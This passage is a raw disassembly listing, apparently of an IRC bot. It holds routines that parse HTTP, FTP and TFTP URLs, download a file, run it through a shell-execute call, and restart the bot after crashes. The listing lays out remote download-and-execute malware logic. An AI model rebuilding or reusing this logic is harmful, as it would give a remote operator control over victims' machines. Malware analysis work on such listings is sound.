loc_402BB5: ; CODE XREF: sub_402A32+174j cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402CDD mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 3Ah jnz loc_402CD8 mov [ebp+var_7E0], 1 jmp short loc_402BF2 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: sub_402A32:loc_402CD3j mov eax, [ebp+var_7E0] inc eax mov [ebp+var_7E0], eax loc_402BF2: ; CODE XREF: sub_402A32+1B1j mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] test eax, eax jz short loc_402C23 mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 2Fh jnz short loc_402C7A loc_402C23: ; CODE XREF: sub_402A32+1D6j mov eax, [ebp+var_7E0] and [ebp+eax+var_6D5], 0 lea eax, [ebp+var_6D4] push eax call sub_40422A pop ecx test eax, eax jz short loc_402C75 mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] add eax, [ebp+var_7E0] push eax mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6C8], 1 loc_402C75: ; CODE XREF: sub_402A32+20Ej jmp loc_403251 ; --------------------------------------------------------------------------- loc_402C7A: ; CODE XREF: sub_402A32+1EFj mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 30h jl short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 39h jg short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] mov ecx, [ebp+var_7E0] mov al, [ebp+eax+var_638] mov [ebp+ecx+var_6D5], al jmp short loc_402CD3 ; --------------------------------------------------------------------------- loc_402CCE: ; CODE XREF: sub_402A32+25Fj ; sub_402A32+278j jmp loc_40324C ; --------------------------------------------------------------------------- loc_402CD3: ; CODE XREF: sub_402A32+29Aj jmp loc_402BE5 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_402A32+1A1j jmp loc_402BA8 ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: sub_402A32+18Aj ; sub_402A32:loc_40324Cj ... push 7 push offset aHttp ; "http://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402D37 cmp [ebp+var_6C8], 0 jnz short loc_402D13 push offset a80 ; "80" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D13: ; CODE XREF: sub_402A32+2CCj lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 1 jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: sub_402A32+2C3j push 6 push offset aFtp ; "ftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402DB7 cmp [ebp+var_6C8], 0 jnz short loc_402D6D push offset a21 ; "21" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D6D: ; CODE XREF: sub_402A32+326j lea eax, [ebp+var_632] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 2 push offset aAnonymous ; "anonymous" lea eax, [ebp+var_284] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aAnonymous ; "anonymous" lea eax, [ebp+var_6BC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402DB7: ; CODE XREF: sub_402A32+31Dj push 7 push offset aTftp ; "tftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402E0E cmp [ebp+var_6C8], 0 jnz short loc_402DED push offset a69 ; "69" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402DED: ; CODE XREF: sub_402A32+3A6j lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 3 jmp short loc_402E3D ; --------------------------------------------------------------------------- loc_402E0E: ; CODE XREF: sub_402A32+39Dj mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_418500 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402E3D: ; CODE XREF: sub_402A32+300j ; sub_402A32+380j ... lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402E5F ; --------------------------------------------------------------------------- loc_402E52: ; CODE XREF: sub_402A32:loc_402F11j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402E5F: ; CODE XREF: sub_402A32+41Ej cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402F16 mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 40h jnz loc_402F11 mov eax, [ebp+var_6C0] and [ebp+eax+var_638], 0 push offset asc_4184FC ; ":" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_7E4], eax cmp [ebp+var_7E4], 0 jz short loc_402ED8 mov eax, [ebp+var_7E4] and byte ptr [eax], 0 push 80h mov eax, [ebp+var_7E4] inc eax push eax lea eax, [ebp+var_6BC] push eax call sub_407A56 add esp, 0Ch loc_402ED8: ; CODE XREF: sub_402A32+47Fj push 80h lea eax, [ebp+var_638] push eax lea eax, [ebp+var_284] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_637] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402F16 ; --------------------------------------------------------------------------- loc_402F11: ; CODE XREF: sub_402A32+44Bj jmp loc_402E52 ; --------------------------------------------------------------------------- loc_402F16: ; CODE XREF: sub_402A32+434j ; sub_402A32+4DDj push offset asc_4184F8 ; "/" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_288], eax cmp [ebp+var_288], 0 jnz short loc_402F67 mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_4184CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402F67: ; CODE XREF: sub_402A32+504j mov eax, [ebp+var_288] inc eax push eax lea eax, [ebp+var_204] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_288] and byte ptr [eax], 0 lea eax, [ebp+var_638] push eax lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx call sub_416B64 ; clock mov [ebp-6D8h], eax and [ebp+var_6C4], 0 cmp [ebp+var_6CC], 1 jnz short loc_403009 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402698 add esp, 24h mov [ebp+var_28C], eax loc_403009: ; CODE XREF: sub_402A32+582j cmp [ebp+var_6CC], 2 jnz short loc_403065 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402A24 add esp, 24h mov [ebp+var_28C], eax loc_403065: ; CODE XREF: sub_402A32+5DEj cmp [ebp+var_6CC], 3 jnz short loc_4030B3 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax call sub_402A2B add esp, 1Ch mov [ebp+var_28C], eax loc_4030B3: ; CODE XREF: sub_402A32+63Aj ; sub_402A32:loc_403256j cmp [ebp+var_28C], 1 jnz loc_403219 movsx eax, [ebp+var_296] test eax, eax jz short loc_4030D7 mov [ebp+var_7EC], offset dword_4184C0 jmp short loc_403104 ; --------------------------------------------------------------------------- loc_4030D7: ; CODE XREF: sub_402A32+697j movsx eax, [ebp+var_2A6] test eax, eax jz short loc_4030EE mov [ebp+var_7F0], offset dword_4184B4 jmp short loc_4030F8 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: sub_402A32+6AEj mov [ebp+var_7F0], offset byte_41DF00 loc_4030F8: ; CODE XREF: sub_402A32+6BAj mov eax, [ebp+var_7F0] mov [ebp+var_7EC], eax loc_403104: ; CODE XREF: sub_402A32+6A3j push [ebp+var_7EC] mov eax, [ebp+var_6C4] shr eax, 0Ah mov dword ptr [ebp+var_7F8], eax and dword ptr [ebp+var_7F8+4], 0 fild [ebp+var_7F8] fstp [ebp+var_7FC] call sub_416B64 ; clock sub eax, [ebp-6D8h] mov dword ptr [ebp+var_804], eax and dword ptr [ebp+var_804+4], 0 fild [ebp+var_804] fdiv ds:flt_417270 fdivr [ebp+var_7FC] push ecx push ecx fstp [esp+814h+var_814] lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41846C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_2A7] test eax, eax jz short loc_403198 lea eax, [ebp+var_534] push eax call ds:dword_4170AC ; DeleteFileA jmp short loc_403217 ; --------------------------------------------------------------------------- loc_403198: ; CODE XREF: sub_402A32+755j movsx eax, [ebp+var_2A6] test eax, eax jnz short loc_4031AE movsx eax, [ebp+var_296] test eax, eax jz short loc_403217 loc_4031AE: ; CODE XREF: sub_402A32+76Fj movsx eax, [ebp+var_2A3] neg eax sbb eax, eax inc eax push eax push 0 push 0 lea eax, [ebp+var_534] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 mov [ebp+var_7E8], eax cmp [ebp+var_7E8], 20h jbe short loc_4031F4 movsx eax, [ebp+var_296] test eax, eax jz short loc_4031F2 call sub_407148 loc_4031F2: ; CODE XREF: sub_402A32+7B9j jmp short loc_403217 ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: sub_402A32+7AEj lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418444 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_403217: ; CODE XREF: sub_402A32+764j ; sub_402A32+77Aj ... jmp short loc_40323C ; --------------------------------------------------------------------------- loc_403219: ; CODE XREF: sub_402A32+688j lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418414 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_40323C: ; CODE XREF: sub_402A32:loc_403217j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp short loc_40325B ; --------------------------------------------------------------------------- loc_40324C: ; CODE XREF: sub_402A32:loc_402CCEj jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403251: ; CODE XREF: sub_402A32:loc_402C75j jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403256: ; CODE XREF: sub_402A32:loc_402B8Ej jmp loc_4030B3 ; --------------------------------------------------------------------------- loc_40325B: ; CODE XREF: sub_402A32+157j ; sub_402A32+406j ... pop edi leave retn 4 sub_402A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403260 proc near ; CODE XREF: sub_40A9CF+959p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 0 jnz short loc_403271 jmp locret_403329 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: sub_403260+Aj push 3AFh call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_40328A jmp locret_403329 ; --------------------------------------------------------------------------- loc_40328A: ; CODE XREF: sub_403260+23j push 8 push 7Ah push 61h push 4 lea eax, [ebp+var_10] push eax call sub_410501 add esp, 14h and [ebp+eax+var_10], 0 push offset dword_418620 lea eax, [ebp+var_10] push eax call sub_416B70 ; _mbscat pop ecx pop ecx cmp [ebp+arg_8], 0 jnz short loc_4032BF lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_4032BF: ; CODE XREF: sub_403260+57j push 104h push [ebp+arg_4] mov eax, [ebp+var_14] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_14] add eax, 108h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_14] add eax, 20Ch push eax call sub_405F67 pop ecx pop ecx mov eax, [ebp+var_14] add eax, 108h push eax mov eax, [ebp+var_14] add eax, 4 push eax push offset dword_4185FC push 0 push [ebp+var_14] push offset sub_402A32 call sub_4095A4 add esp, 18h locret_403329: ; CODE XREF: sub_403260+Cj ; sub_403260+25j leave retn sub_403260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40332B proc near ; CODE XREF: sub_4093B6+A0p ; sub_4094E6+9Bp ... var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 114h push 1 push offset dword_41DF0C call sub_409C88 pop ecx pop ecx mov [ebp+var_4], eax cmp ds:dword_41DF08, 0 jz loc_4034D9 mov [ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER" mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_110], eax cmp [ebp+var_110], 0C0000025h ja short loc_4033A4 cmp [ebp+var_110], 0C0000025h jz short loc_4033FA cmp [ebp+var_110], 80000003h jz short loc_4033DF cmp [ebp+var_110], 0C0000005h jz short loc_4033D6 cmp [ebp+var_110], 0C000001Dh jz short loc_4033E8 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033A4: ; CODE XREF: sub_40332B+45j cmp [ebp+var_110], 0C000008Dh jb short loc_403413 cmp [ebp+var_110], 0C0000093h jbe short loc_40340C cmp [ebp+var_110], 0C0000094h jz short loc_4033F1 cmp [ebp+var_110], 0C00000FDh jz short loc_403403 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033D6: ; CODE XREF: sub_40332B+69j mov [ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033DF: ; CODE XREF: sub_40332B+5Dj mov [ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033E8: ; CODE XREF: sub_40332B+75j mov [ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033F1: ; CODE XREF: sub_40332B+9Bj mov [ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033FA: ; CODE XREF: sub_40332B+51j mov [ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_403403: ; CODE XREF: sub_40332B+A7j mov [ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_40340C: ; CODE XREF: sub_40332B+8Fj mov [ebp+var_8], offset aException_flt ; "EXCEPTION_FLT" loc_403413: ; CODE XREF: sub_40332B+77j ; sub_40332B+83j ... mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_40342A mov [ebp+var_114], offset aRestarting ; "Restarting" jmp short loc_403434 ; --------------------------------------------------------------------------- loc_40342A: ; CODE XREF: sub_40332B+F1j mov [ebp+var_114], offset aContinuing ; "Continuing" loc_403434: ; CODE XREF: sub_40332B+FDj push [ebp+var_114] push [ebp+var_8] mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B0h] mov eax, [ebp+var_4] inc eax push eax push [ebp+arg_8] push [ebp+arg_4] push offset dword_41864C push offset dword_41DB88 call sub_40D4AB add esp, 48h loc_4034D9: ; CODE XREF: sub_40332B+21j mov eax, [ebp+var_4] inc eax cmp eax, 64h jz short loc_4034ED mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_403558 loc_4034ED: ; CODE XREF: sub_40332B+1B5j push 104h lea eax, [ebp+var_10C] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA test eax, eax jz short loc_403545 push 0 push 0 push 0 lea eax, [ebp+var_10C] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 cmp eax, 20h ja short loc_403538 push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp short loc_403543 ; --------------------------------------------------------------------------- loc_403538: ; CODE XREF: sub_40332B+1FEj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403543: ; CODE XREF: sub_40332B+20Bj jmp short loc_403550 ; --------------------------------------------------------------------------- loc_403545: ; CODE XREF: sub_40332B+1DFj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403550: ; CODE XREF: sub_40332B:loc_403543j push 0 call ds:dword_41705C ; ExitProcess loc_403558: ; CODE XREF: sub_40332B+1C0j mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax], 80000003h jnz short loc_403583 mov eax, [ebp+arg_0] mov eax, [eax+4] mov eax, [eax+0B8h] inc eax mov ecx, [ebp+arg_0] mov ecx, [ecx+4] mov [ecx+0B8h], eax or eax, 0FFFFFFFFh jmp short locret_403586 ; --------------------------------------------------------------------------- loc_403583: ; CODE XREF: sub_40332B+238j push 1 pop eax locret_403586: ; CODE XREF: sub_40332B+256j leave retn sub_40332B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403588 proc near ; DATA XREF: sub_403BD3:loc_403D85o var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 48h cmp [ebp+arg_8], 0 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_4035BB mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 2 jz short loc_4035BB push 273Fh call ds:dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035BB: ; CODE XREF: sub_403588+13j ; sub_403588+1Cj mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 1 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 2 jz short loc_4035E2 push 273Ch call ds:dword_417234 ; WSASetLastError mov eax, 273Ch jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035E2: ; CODE XREF: sub_403588+Aj ; sub_403588+3Aj ... cmp [ebp+arg_0], 0 jnz loc_4036D6 push 30h call sub_416B46 ; malloc pop ecx mov [ebp+var_34], eax cmp [ebp+var_34], 0 jnz short loc_40360D push 8 call ds:dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40360D: ; CODE XREF: sub_403588+73j push 30h push 0 push [ebp+var_34] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_30] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_30], 2 cmp [ebp+arg_4], 0 jz short loc_40364C push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; htons mov [ebp+var_2E], ax loc_40364C: ; CODE XREF: sub_403588+AEj mov eax, [ebp+var_34] mov dword ptr [eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_403667 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_38], eax jmp short loc_40366E ; --------------------------------------------------------------------------- loc_403667: ; CODE XREF: sub_403588+D2j mov [ebp+var_38], 1 loc_40366E: ; CODE XREF: sub_403588+DDj mov eax, [ebp+var_34] mov ecx, [ebp+var_38] mov [eax+8], ecx cmp [ebp+arg_8], 0 jz short loc_403688 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_3C], eax jmp short loc_40368F ; --------------------------------------------------------------------------- loc_403688: ; CODE XREF: sub_403588+F3j mov [ebp+var_3C], 6 loc_40368F: ; CODE XREF: sub_403588+FEj mov eax, [ebp+var_34] mov ecx, [ebp+var_3C] mov [eax+0Ch], ecx mov eax, [ebp+var_34] mov dword ptr [eax+10h], 10h mov eax, [ebp+var_34] add eax, 20h mov ecx, [ebp+var_34] mov [ecx+18h], eax and [ebp+var_2C], 0 push 10h lea eax, [ebp+var_30] push eax mov eax, [ebp+var_34] add eax, 20h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_C] mov ecx, [ebp+var_34] mov [eax], ecx xor eax, eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036D6: ; CODE XREF: sub_403588+5Ej push [ebp+arg_0] call ds:dword_41723C ; gethostbyname mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4036F2 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036F2: ; CODE XREF: sub_403588+15Ej and [ebp+var_20], 0 jmp short loc_4036FF ; --------------------------------------------------------------------------- loc_4036F8: ; CODE XREF: sub_403588+18Cj mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4036FF: ; CODE XREF: sub_403588+16Ej cmp [ebp+var_14], 0 jz short loc_403716 mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_20] cmp dword ptr [eax+ecx*4], 0 jz short loc_403716 jmp short loc_4036F8 ; --------------------------------------------------------------------------- loc_403716: ; CODE XREF: sub_403588+17Bj ; sub_403588+18Aj cmp [ebp+var_20], 0 jnz short loc_403726 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_403726: ; CODE XREF: sub_403588+192j mov eax, [ebp+var_20] imul eax, 30h push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_40374C push 8 call ds:dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40374C: ; CODE XREF: sub_403588+1B2j mov eax, [ebp+var_20] imul eax, 30h push eax push 0 push [ebp+var_1C] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 cmp [ebp+arg_4], 0 jz short loc_403790 push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; htons mov [ebp+var_E], ax loc_403790: ; CODE XREF: sub_403588+1F2j and [ebp+var_18], 0 jmp short loc_40379D ; --------------------------------------------------------------------------- loc_403796: ; CODE XREF: sub_403588:loc_4038A7j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_40379D: ; CODE XREF: sub_403588+20Cj mov eax, [ebp+var_18] cmp eax, [ebp+var_20] jnb loc_4038AC cmp [ebp+arg_8], 0 jz short loc_4037B9 mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_40], eax jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037B9: ; CODE XREF: sub_403588+225j mov [ebp+var_40], 4 loc_4037C0: ; CODE XREF: sub_403588+22Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_40] mov [ecx+eax], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_4037F1 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_44], eax jmp short loc_4037F8 ; --------------------------------------------------------------------------- loc_4037F1: ; CODE XREF: sub_403588+25Cj mov [ebp+var_44], 1 loc_4037F8: ; CODE XREF: sub_403588+267j mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_44] mov [ecx+eax+8], edx cmp [ebp+arg_8], 0 jz short loc_403819 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_48], eax jmp short loc_403820 ; --------------------------------------------------------------------------- loc_403819: ; CODE XREF: sub_403588+284j mov [ebp+var_48], 6 loc_403820: ; CODE XREF: sub_403588+28Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_48] mov [ecx+eax+0Ch], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+10h], 10h mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] mov ecx, [ebp+var_18] imul ecx, 30h mov edx, [ebp+var_1C] mov [edx+ecx+18h], eax mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_18] mov eax, [eax+ecx*4] mov eax, [eax] mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] push eax call sub_416B52 ; memcpy add esp, 0Ch cmp [ebp+var_18], 0 jz short loc_4038A7 mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] add ecx, eax mov eax, [ebp+var_18] dec eax imul eax, 30h mov edx, [ebp+var_1C] mov [edx+eax+1Ch], ecx loc_4038A7: ; CODE XREF: sub_403588+304j jmp loc_403796 ; --------------------------------------------------------------------------- loc_4038AC: ; CODE XREF: sub_403588+21Bj mov eax, [ebp+arg_C] mov ecx, [ebp+var_1C] mov [eax], ecx xor eax, eax locret_4038B6: ; CODE XREF: sub_403588+2Ej ; sub_403588+55j ... leave retn 10h sub_403588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038BA proc near ; DATA XREF: sub_403BD3+1BCo var_434 = dword ptr -434h var_430 = byte ptr -430h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 434h cmp [ebp+arg_8], 0 jnz short loc_4038CF cmp [ebp+arg_10], 0 jz short loc_4038D8 loc_4038CF: ; CODE XREF: sub_4038BA+Dj mov eax, [ebp+arg_18] and al, 0E0h test eax, eax jz short loc_4038ED loc_4038D8: ; CODE XREF: sub_4038BA+13j push 2726h call ds:dword_417234 ; WSASetLastError mov eax, 2726h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4038ED: ; CODE XREF: sub_4038BA+1Cj mov eax, [ebp+arg_0] mov [ebp+var_40C], eax mov eax, [ebp+var_40C] movsx eax, word ptr [eax] cmp eax, 2 jz short loc_403919 push 273Fh call ds:dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403919: ; CODE XREF: sub_4038BA+48j cmp [ebp+arg_8], 0 jz loc_403ABA mov eax, [ebp+var_40C] push dword ptr [eax+4] call ds:dword_41721C ; inet_ntoa mov [ebp+var_434], eax cmp [ebp+var_434], 0 jnz short loc_403949 or eax, 0FFFFFFFFh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403949: ; CODE XREF: sub_4038BA+85j push 401h push [ebp+var_434] lea eax, 